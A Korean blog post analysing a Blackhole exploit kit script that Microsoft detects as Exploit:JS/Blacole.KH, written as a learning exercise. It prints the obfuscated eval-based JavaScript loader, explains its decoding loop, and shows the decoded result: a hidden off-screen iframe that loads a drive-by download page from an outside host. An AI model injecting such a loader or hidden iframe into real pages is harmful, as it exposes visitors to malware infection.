본문 바로가기

security/악성코드 유포

Exploit:JS/Blacole.KH (Microsoft)

우연히 해외 사이트를 보던 도중 Exploit 을 보아서 이렇게 써봅니다.

우선은 배치된 코드는 다음과 같습니다.

try{bgewg346tr++}catch(aszx){try{dsgdsg-142}catch(dsfsd){try{("".substr+"")()}catch(ehwdsh){try{window.document.body++}catch(gdsgsdg){dbshre=204;}}}}
if(dbshre){asd=0;try{d=document.createElement("div");d.innerHTML.a="asd";}catch(agdsg){asd=1;}if(!asd){e=eval;}
asgq=new Array
(1,2,99,97,28,32,93,105,94,113,101,94,104,111,42,95,94,110,64,104,93,102,95,105,112,107,59,115,
79,93,95,71,91,104,97,32,32,92,106,96,113,32,35,86,44,85,34,117,8,5,1,2,99,97,110,89,102,95,109,
36,33,52,7,4,5,117,25,95,103,111,93,25,117,8,5,1,2,94,106,95,109,102,95,105,112,38,112,108,100,
112,93,33,28,55,101,94,107,91,104,97,24,108,108,94,57,31,97,110,111,108,50,40,41,96,106,100,90,
108,98,97,101,94,104,111,48,38,105,108,106,43,101,98,97,99,112,39,93,108,106,108,104,98,104,98,
91,97,103,109,111,93,100,101,99,105,99,38,105,98,107,35,24,112,99,95,112,96,54,33,44,44,31,25,98,
96,101,95,97,110,56,35,41,41,33,27,111,108,114,102,96,57,31,112,99,95,112,96,51,43,43,44,104,113
,53,99,97,97,96,98,111,54,41,41,42,107,116,51,105,105,110,101,108,98,105,105,54,89,91,109,106,104,
109,109,95,54,104,93,95,110,53,41,41,41,42,107,116,51,109,105,107,54,40,52,33,57,56,39,98,96,109,
93,101,94,56,29,37,51,6,3,4,121,5,2,3,97,113,102,92,110,100,107,102,25,99,97,110,89,102,95,109,36,
33,116,[생략]96,35,33,52,96,41,111,93,109,59,111,112,106,98,92,112,112,93,33,33,110,110,91,32,38,
34,100,108,109,106,53,43,39,94,104,103,93,106,96,95,104,97,102,109,46,41,108,106,104,41,104,101,95,
97,110,42,96,106,104,106,107,101,102,96,89,100,106,107,109,91,103,104,97,103,97,41,108,96,105,33,36
,55,94,39,109,111,117,100,94,40,103,97,94,109,55,34,41,41,41,42,107,116,31,52,96,41,111,108,114,102,
96,42,108,104,106,56,35,40,32,53,97,42,107,109,115,103,97,38,105,105,110,101,108,98,105,105,57,31,
90,92,110,107,100,110,110,96,35,51,95,40,110,112,113,101,95,41,104,93,95,110,56,35,40,32,53,97,42,
107,109,115,103,97,38,109,105,107,57,31,41,33,54,98,38,108,95,111,61,108,109,108,100,94,109,109,
95,35,35,111,98,94,111,100,31,37,33,44,44,31,34,53,97,42,107,94,110,60,112,108,107,99,93,113,108
,94,34,34,100,93,98,97,99,112,31,37,33,44,44,31,34,53,8,5,1,2,94,106,95,109,102,95,105,112,38,96,
95,111,65,100,94,103,96,106,108,108,60,116,80,89,96,72,92,105,93,33,33,93,107,92,114,33,36,87,40,
86,40,92,108,104,94,104,95,63,96,98,102,95,36,94,34,53,8,5,1,118);
s="";for(i=0;i-637!=0;i++){if(020==0x10)s+=String.fromCharCode(1*asgq[i]-(i%5-8));}
z=s;e(z);}


asgq=new Array 로 정의 되어 있는 코드는 정상적인 아스키코드가 아닙니다.
일반 String.fromCharCode를 통해서 출력을 해보면.. 다음과 같은 문자가 나옵니다!

ca ]i^qe^ho*_^n@h]f_ipk;sO]_G[ha \j`q #V,U"u canYf_m$!4 u _go] u ^j_mf_ip&pldp]! 7e^k[ha ll^9 anol2()`jdZlbae^ho0&ilj+ebacp']ljlhbhb[agmo]decic&ibk# pc_p`6!,, b`e_an8#))! olrf`9 pc_p`3++,hq5caa`bo6))*kt3iinelbii6Y[mjhmm_6h]_n5)))*kt3mik6(4!98'b`m]e^8 %3 y aqf\ndkf canYf_m$!t o[m ^ 7 `g\ohafm(^n]Zn`Ad^g`jl!!dbjZg`#!4`)o]m;opjb\pp]!!nn[ &"dlmj5+'^hg]j`_hafm.)ljh)he_an*`jhjkef`Ydjkm[ghaga)l`i!$7^'moud^(ga^m7")))*kt 4`)olrf`*lhj8#( 5a*kmsga&iinelbii9 Z\nkdnn`#3_(npqe_)h]_n8#( 5a*kmsga&mik9 )!6b&l_o=lmld^mm_##ob^od %!,, "5a*k^n


이와 같이 정상적인 아스키코드로 나오지 않습니다.

그렇다면 다시 코드를 살펴보면 다음과 같습니다.


s="";for(i=0;i-637!=0;i++){if(020==0x10)s+=String.fromCharCode(1*asgq[i]-(i%5-8));

즉... i=0; i-637!=0;i++ ->  i-637 값이 0이 아닐때까지 루핑을 한다는 뜻입니다.
결론적으로   i-637!이 0에 도달하면 이 함수는 끝이나게 됩니다.
i++와 같이 계속 1씩 증가함으로 637이 되는순간 함수는 끝나게 됩니다.

다음오로 {if(020==0x10)s+ 은 -> 020 == 10진수일경우 s가 증가 하게 됩니다.

그렇다면 어떤한 방식으로 다시 배치를 하는걸 까요?? 바로 String.fromCharCode(1*asgq[i]-(i%5-8)); 입니다.
asgq=new Array 에서 처음이 1이니 1*1-(i->0%5-8) 이런식으로 계산을 하게 됩니다.


이를 바탕으로 연산과정을 거치면 ! 연결된 링크를 볼수 있습니다 : )



if (document.getElementsByTagName('body')[0]){
iframer();
} else {
document.write("<iframe src='http://enlargement4.pro/might/dropping_installing.php' width='10' height='10' style='width:100px;height:100px;position:absolute;left:-100px;top:0;'></iframe>");
}
function iframer(){
var f = document.createElement('iframe');f.setAttribute('src','http://enlargement4.pro/might/dropping_installing.php');f.style.left='-100px';f.style.top='0';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f);
}


바이러스 토탈 링크 :
https://www.virustotal.com/ko/file/becc92d0fa7e355e231c3b9da797a5e8fa9b39ef79ab6da48e98b5e20e1d685a/analysis/1360839068/

우선 처음으로 작성을 해보았는데.. 부족한 접이 있더라도 이해해 주세요~
틀린점이 있다면 지적을 해주셔도 좋습니다 : )

마지막으로 도움을 주신 바이올렛님께 감사를 드립니다 : )